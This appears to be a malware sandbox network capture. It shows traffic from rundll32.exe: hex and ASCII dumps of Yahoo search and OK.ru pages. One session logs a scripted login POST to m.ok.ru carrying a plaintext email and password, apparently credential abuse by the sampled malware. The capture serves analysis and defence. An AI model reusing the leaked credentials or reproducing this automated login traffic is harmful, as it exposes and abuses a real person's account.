2023-12-10 16:51:36 UTC	2480	IN	Data Raw: 22 69 6d 67 22 29 29 2e 73 72 63 3d 74 2c 69 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 73 61 2d 68 69 64 64 65 6e 22 2c 69 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2c 22 73 61 2d 68 69 64 64 65 6e 22 29 2c 6e 2e 73 68 6f 77 49 63 6f 6e 4f 6e 49 6d 67 4c 6f 61 64 7c 7c 28 72 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 73 61 2d 68 69 64 64 65 6e 22 29 7d 2c 65 2e 69 6d 67 3d 6c 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 6e 2e 72 69 63 68 43 6c 61 73 73 29 26 26 28 73 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 22 2b 6e 2e 72 69 63 68 43 6c 61 73 73 29 2c 6c 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 72 29 2c 6c 21 3d 3d 73 26 26 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6c 29 7d 66 75 6e 63 74 69 Data Ascii: "img")).src=t,i.className+=" sa-hidden",i.onload=function(e){S.removeClass(i,"sa-hidden"),n.showIconOnImgLoad\|\|(r.className+=" sa-hidden")},e.img=l.appendChild(i),n.richClass)&&(s.className+=" "+n.richClass),l.appendChild(r),l!==s&&s.appendChild(l)}functi
2023-12-10 16:51:36 UTC	16384	IN	Data Raw: 6e 64 65 78 2c 74 3d 64 5b 65 5d 3b 30 3c 3d 65 26 26 64 5b 65 5d 26 26 28 53 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 2e 6c 69 2c 63 2e 63 73 73 29 2c 6c 2e 61 70 70 2e 6e 6f 74 69 66 79 28 44 2c 5b 74 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 53 2e 61 64 64 43 6c 61 73 73 28 65 2e 6c 69 2c 63 2e 63 73 73 29 2c 6c 2e 61 70 70 2e 6e 6f 74 69 66 79 28 79 2c 5b 65 5d 29 7d 76 61 72 20 6c 3d 74 68 69 73 2c 63 3d 6c 2e 63 6f 6e 66 69 67 2c 70 3d 6c 2e 61 70 70 2e 76 69 65 77 2c 64 3d 70 2e 69 74 65 6d 73 2c 68 3d 28 65 3d 70 2e 65 6c 65 6d 73 29 2e 73 62 49 6e 70 75 74 2c 6e 3d 65 2e 73 61 54 72 61 79 2c 65 3d 53 2e 69 65 56 65 72 2c 75 3d 21 31 3b 53 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 6f 76 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f Data Ascii: ndex,t=d[e];0<=e&&d[e]&&(S.removeClass(t.li,c.css),l.app.notify(D,[t]))}function r(e){S.addClass(e.li,c.css),l.app.notify(y,[e])}var l=this,c=l.config,p=l.app.view,d=p.items,h=(e=p.elems).sbInput,n=e.saTray,e=S.ieVer,u=!1;S.ae(n,"mouseover",function(e){fo
2023-12-10 16:51:36 UTC	5336	IN	Data Raw: 6f 57 61 74 63 68 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 74 2e 63 75 72 72 65 6e 74 50 6f 73 3d 30 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 69 2c 41 65 2c 74 29 2c 65 2e 6f 6e 28 66 2c 4e 65 2c 74 29 2c 65 2e 6f 6e 28 49 2c 4c 65 2c 74 29 7d 7d 2c 50 65 29 2c 64 2e 73 61 45 64 69 74 3d 28 4f 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6f 6e 28 66 2c 46 65 2c 74 68 69 73 29 7d 7d 2c 4f 65 29 2c 64 2e 73 61 45 6d 70 74 79 53 74 61 74 65 3d 28 71 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 2e 68 69 73 74 6f 72 79 3d 5b 5d 2c 74 2e 74 72 65 6e 64 69 6e 67 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 Data Ascii: oWatch=[],t.beforeNode=null,t.currentPos=0,(t.app=e).on(i,Ae,t),e.on(f,Ne,t),e.on(I,Le,t)}},Pe),d.saEdit=(Oe.prototype={init:function(e){e.on(f,Fe,this)}},Oe),d.saEmptyState=(qe.prototype={init:function(e){var t=this;t.history=[],t.trending=[],t.beforeNod
2023-12-10 16:51:36 UTC	8568	IN	Data Raw: 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 66 6f 6f 74 65 72 22 7d 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 6c 65 67 61 6c 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 62 74 6e 22 7d 29 29 2c 6e 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 62 75 74 74 6f 6e 22 2c 74 65 78 74 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 63 61 6e 63 65 6c 7d 29 2c 61 3d 28 6e 2e 69 64 3d 65 2b 22 2d 63 74 2d 63 61 6e 63 65 6c 22 2c 70 2e 61 65 28 6e 2c 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 68 69 64 65 50 61 6e 65 6c 2e 61 70 70 6c 79 28 74 29 7d 29 2c 74 68 69 73 2e 63 72 Data Ascii: reateElem({tag:"footer"})).innerHTML=this.config.text.legal,i.appendChild(s),this.createElem({css:e+"-ct-btn"})),n=this.createElem({tag:"button",text:this.config.text.cancel}),a=(n.id=e+"-ct-cancel",p.ae(n,"click",function(){t.hidePanel.apply(t)}),this.cr
2023-12-10 16:51:36 UTC	16048	IN	Data Raw: 73 20 2e 63 6f 6d 70 4a 73 54 6f 67 67 6c 65 20 61 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 53 70 6f 72 74 73 54 6d 53 63 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 54 65 6e 6e 69 73 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 2e 64 64 2e 53 70 6f 72 74 73 4c 65 61 67 75 65 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 61 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 53 70 6f 72 74 73 4c 67 53 63 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 50 6c 61 4e 72 72 77 20 Data Ascii: s .compJsToggle a span,#results #web .dd.SportsTmSc .compTitle .title span,#results #web .dd.Tennis .compTitle .title span,#results .dd.SportsLeague .compTitle .title a,#results #web .dd.SportsLgSc .compTitle .title span,#results #right .cardReg .PlaNrrw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50158	217.20.155.16	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:36 UTC	680	OUT	POST /dk?bk=GuestMain&st.cmd=main&_prevCmd=main&tkn=5928&_cl.id=1577974135245&_clickLog=%5B%7B%22target%22%3A%22sign_in%22%7D%2C%7B%22registrationContainer%22%3A%22home.login_form%22%7D%5D HTTP/1.1 Host: m.ok.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 114 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://m.ok.ru/ Origin: https://m.ok.ru Upgrade-Insecure-Requests: 1
2023-12-10 16:51:36 UTC	114	OUT	Data Raw: 66 72 2e 70 6f 73 74 65 64 3d 73 65 74 26 66 72 2e 6e 65 65 64 43 61 70 74 63 68 61 3d 26 66 72 2e 70 72 6f 74 6f 3d 31 26 66 72 2e 6c 6f 67 69 6e 3d 6e 69 63 6b 69 6d 69 6e 61 6a 35 32 33 35 40 6d 61 69 6c 2e 72 75 26 66 72 2e 70 61 73 73 77 6f 72 64 3d 6e 61 72 75 74 6f 32 32 32 26 62 75 74 74 6f 6e 5f 6c 6f 67 69 6e 3d 4c 6f 67 2b 69 6e Data Ascii: fr.posted=set&fr.needCaptcha=&fr.proto=1&fr.login=nickiminaj5235@mail.ru&fr.password=naruto222&button_login=Log+in
2023-12-10 16:51:37 UTC	831	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 33 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4a 53 45 53 53 49 4f 4e 49 44 3d 61 62 63 62 38 39 63 35 35 35 62 38 32 61 33 31 37 36 65 61 35 63 39 62 36 30 32 62 34 63 33 62 32 31 33 61 31 36 35 61 35 38 65 36 37 34 32 64 2e 32 61 62 64 31 31 Data Ascii: HTTP/1.1 200 Server: ApacheDate: Sun, 10 Dec 2023 16:51:37 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: JSESSIONID=abcb89c555b82a3176ea5c9b602b4c3b213a165a58e6742d.2abd11
2023-12-10 16:51:37 UTC	538	IN	Data Raw: 33 63 65 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 76 37 30 38 20 6e 6f 2d 6a 73 20 73 74 2d 6d 61 69 6e 20 73 69 64 65 62 61 72 2d 6f 6e 22 20 69 64 3d 22 72 6f 6f 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 76 69 65 77 3d 22 64 6f 63 22 20 64 61 74 61 2d 66 75 6e 63 3d 22 61 6e 79 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 4b 20 73 6f 63 69 61 6c 20 6e 65 74 77 6f 72 6b 2e 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 20 77 69 74 68 20 66 72 69 65 6e 64 73 20 6f 6e 20 4f 4b 2e 20 59 6f 75 72 20 6d 65 65 74 69 6e 67 20 70 6c 61 63 65 20 77 69 74 68 20 63 6c 61 73 73 6d 61 74 65 73 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 Data Ascii: 3ced<!DOCTYPE html><html class="v708 no-js st-main sidebar-on" id="root" lang="en" data-view="doc" data-func="any"><head><title>OK social network. Communication with friends on OK. Your meeting place with classmates.</title><meta http-equiv="Content-Ty
2023-12-10 16:51:37 UTC	1369	IN	Data Raw: 6c 20 6e 65 74 77 6f 72 6b 20 77 68 65 72 65 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 79 6f 75 72 20 6f 6c 64 20 66 72 69 65 6e 64 73 2e 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 2c 20 6f 6e 6c 69 6e 65 20 67 61 6d 65 73 2c 20 73 65 6e 64 20 67 69 66 74 73 20 61 6e 64 20 63 61 72 64 73 20 74 6f 20 66 72 69 65 6e 64 73 2e 20 43 6f 6d 65 20 74 6f 20 4f 4b 2c 20 61 6e 64 20 73 68 61 72 65 20 79 6f 75 72 20 65 6d 6f 74 69 6f 6e 73 20 77 69 74 68 20 66 72 69 65 6e 64 73 2c 20 63 6f 6c 6c 65 61 67 75 65 73 20 61 6e 64 20 63 6c 61 73 73 6d 61 74 65 73 2e 22 3e 3c 2f 6d 65 74 61 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 3e 3c 2f 6d 65 74 61 3e 3c 6c 69 6e Data Ascii: l network where you can find your old friends. Communication, online games, send gifts and cards to friends. Come to OK, and share your emotions with friends, colleagues and classmates."></meta><meta name="mobile-web-app-capable" content="yes"></meta><lin
2023-12-10 16:51:37 UTC	1369	IN	Data Raw: 65 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 36 33 30 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 6d 2e 6f 6b 2e 72 75 2f 6d 72 65 73 2f 69 6d 67 2f 73 2f 6f 6b 5f 64 65 66 61 75 6c 74 5f 31 30 32 30 78 34 35 36 2e 70 6e 67 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 3a 77 69 64 74 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 30 32 30 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 34 35 36 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 Data Ascii: e:height" content="630"><meta property="vk:image" content="https://m.ok.ru/mres/img/s/ok_default_1020x456.png"><meta property="vk:image:width" content="1020"><meta property="vk:image:height" content="456"><meta property="twitter:card" content="summary_lar
2023-12-10 16:51:37 UTC	1369	IN	Data Raw: 37 32 39 30 29 20 2b 20 27 3b 70 61 74 68 3d 2f 27 3b 7d 29 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 66 6f 6e 74 22 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 66 6f 6e 74 2f 73 76 67 2f 63 6f 6d 6d 6f 6e 2f 73 76 67 2d 69 63 6f 6e 73 2e 77 6f 66 66 32 3f 62 32 36 32 32 66 36 35 62 62 66 66 66 61 33 64 36 30 64 35 65 65 63 64 63 64 31 36 35 33 63 65 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 6a 73 2f 72 65 61 63 74 38 35 39 35 61 32 61 38 2f 72 65 61 63 74 2d 6c 6f 61 64 65 72 2e 6a 73 22 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 Data Ascii: 7290) + ';path=/';})(window);</script><link rel="preload" as="font" href="/mres/font/svg/common/svg-icons.woff2?b2622f65bbfffa3d60d5eecdcd1653ce" crossorigin="anonymous"></link><link href="/mres/batch/js/react8595a2a8/react-loader.js" rel="prefetch" as="s
2023-12-10 16:51:37 UTC	1369	IN	Data Raw: 74 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 62 61 73 65 2f 69 63 6f 6e 73 2f 74 65 78 74 2d 69 63 6f 6e 2e 63 6f 72 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 6e 6f 68 74 74 70 32 2e 63 6f 72 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 70 72 6f 6a 65 63 74 2f 70 61 79 6d 65 6e 74 2f 70 61 79 6d 65 6e 74 2e 63 6f 72 65 2e 63 Data Ascii: tch/css/8ecfd7e7/main/base/icons/text-icon.core.css" type="text/css" rel="stylesheet"/><link href="/mres/batch/css/8ecfd7e7/main/nohttp2.core.css" type="text/css" rel="stylesheet"/><link href="/mres/batch/css/8ecfd7e7/main/project/payment/payment.core.c
2023-12-10 16:51:37 UTC	1369	IN	Data Raw: 6c 65 74 5f 72 75 62 79 32 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 31 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 2e 64 61 69 6c 79 2d 72 65 77 61 72 64 2d 70 6f 72 74 6c 65 74 5f 73 74 61 72 31 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 2e 64 61 69 6c 79 2d 72 65 77 61 72 64 2d 70 6f 72 74 6c 65 74 5f 70 69 70 65 31 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 39 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 7d 0d 0a 0d 0a 2e 67 61 6d 65 2d 66 72 61 6d 65 5f 76 69 64 65 6f 61 64 76 20 2e 61 70 70 2d 76 69 64 65 6f 5f 6d 75 74 65 5f 6c 6b 2c 20 2e 67 61 6d 65 2d 66 72 61 6d 65 5f 76 69 64 65 6f 61 64 76 20 2e 61 70 70 2d 76 69 64 65 6f 5f 6c 61 62 65 6c 20 7b 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 Data Ascii: let_ruby2_img {width: 120px !important}.daily-reward-portlet_star1_img {width: 40px !important}.daily-reward-portlet_pipe1_img {width: 96px !important}}.game-frame_videoadv .app-video_mute_lk, .game-frame_videoadv .app-video_label {color: #fffff
2023-12-10 16:51:37 UTC	1369	IN	Data Raw: 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0d 0a 66 6f 72 6d 20 2e 63 6f 6e 67 72 61 74 73 2d 71 75 69 7a 5f 71 75 65 73 74 69 6f 6e 5f 62 75 74 74 6f 6e 20 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7d 0d 0a 0d 0a 0d 0a 2e 74 61 62 73 2e 5f 5f 73 74 69 63 6b 79 5f 5f 6a 70 30 74 71 20 7b 20 74 6f 70 3a 20 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 20 31 34 39 3b 20 7d 0d 0a 0d 0a 0d 0a 2e 67 69 66 74 2d 73 65 63 74 69 6f 6e 2e 5f 5f 65 61 73 74 65 72 2d 67 69 66 74 73 2d 73 65 63 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 69 2e 6d 79 63 64 6e 2e 6d 65 2f 69 3f 72 3d 41 44 46 64 75 41 38 36 30 7a 2d 75 5f 73 4e 76 4f 71 55 47 33 69 58 47 74 37 7a 71 36 71 68 4b 47 64 6a 6d 4c 79 7a 71 Data Ascii: play:none;}form .congrats-quiz_question_button {display:inline-block;}.tabs.__sticky__jp0tq { top: 0px; z-index: 149; }.gift-section.__easter-gifts-section:before{background-image:url(//i.mycdn.me/i?r=ADFduA860z-u_sNvOqUG3iXGt7zq6qhKGdjmLyzq
2023-12-10 16:51:37 UTC	1369	IN	Data Raw: 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 69 2e 6d 79 63 64 6e 2e 6d 65 2f 69 3f 72 3d 41 44 46 64 75 41 38 36 30 7a 2d 75 5f 73 4e 76 4f 71 55 47 33 69 58 47 6a 74 39 46 77 63 32 4c 45 30 6b 54 53 55 37 46 4f 59 65 45 78 33 68 36 61 63 4f 34 7a 62 39 77 6a 43 58 6f 71 75 4d 6d 68 4e 59 29 3b 7d 7d 0d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 20 33 37 35 70 78 29 7b 2e 67 69 66 74 2d 73 65 63 74 69 6f 6e 2e 5f 5f 74 65 61 63 68 65 72 2d 62 67 2d 70 72 6f 6d 6f 3a 3a 62 65 66 6f 72 65 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 7d 7d 0d 0a 0d 0a 2e 67 69 66 74 2d 63 61 72 64 2e 5f 5f 66 72 65 65 2d 66 6f 72 2d 61 64 20 2e 67 69 66 74 2d 70 72 69 63 65 5f 74 65 78 74 Data Ascii: nd-image:url(https://i.mycdn.me/i?r=ADFduA860z-u_sNvOqUG3iXGjt9Fwc2LE0kTSU7FOYeEx3h6acO4zb9wjCXoquMmhNY);}}@media (min-device-width: 375px){.gift-section.__teacher-bg-promo::before {background-size:contain;}}.gift-card.__free-for-ad .gift-price_text

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50160	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:37 UTC	839	OUT	GET /search;_ylt=AwrihtiT7HVljmQsNH5XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=29&pz=7&bct=0&pstart=9 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227091&ltv_c=4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:37 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 33 37 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:37 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:37 UTC	5254	IN	Data Raw: 39 66 30 39 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 9f09<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:51:37 UTC	16384	IN	Data Raw: 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 7d 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 Data Ascii: t){function n(){}e.prototype=Object.create?Object.create(t.prototype):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"obje
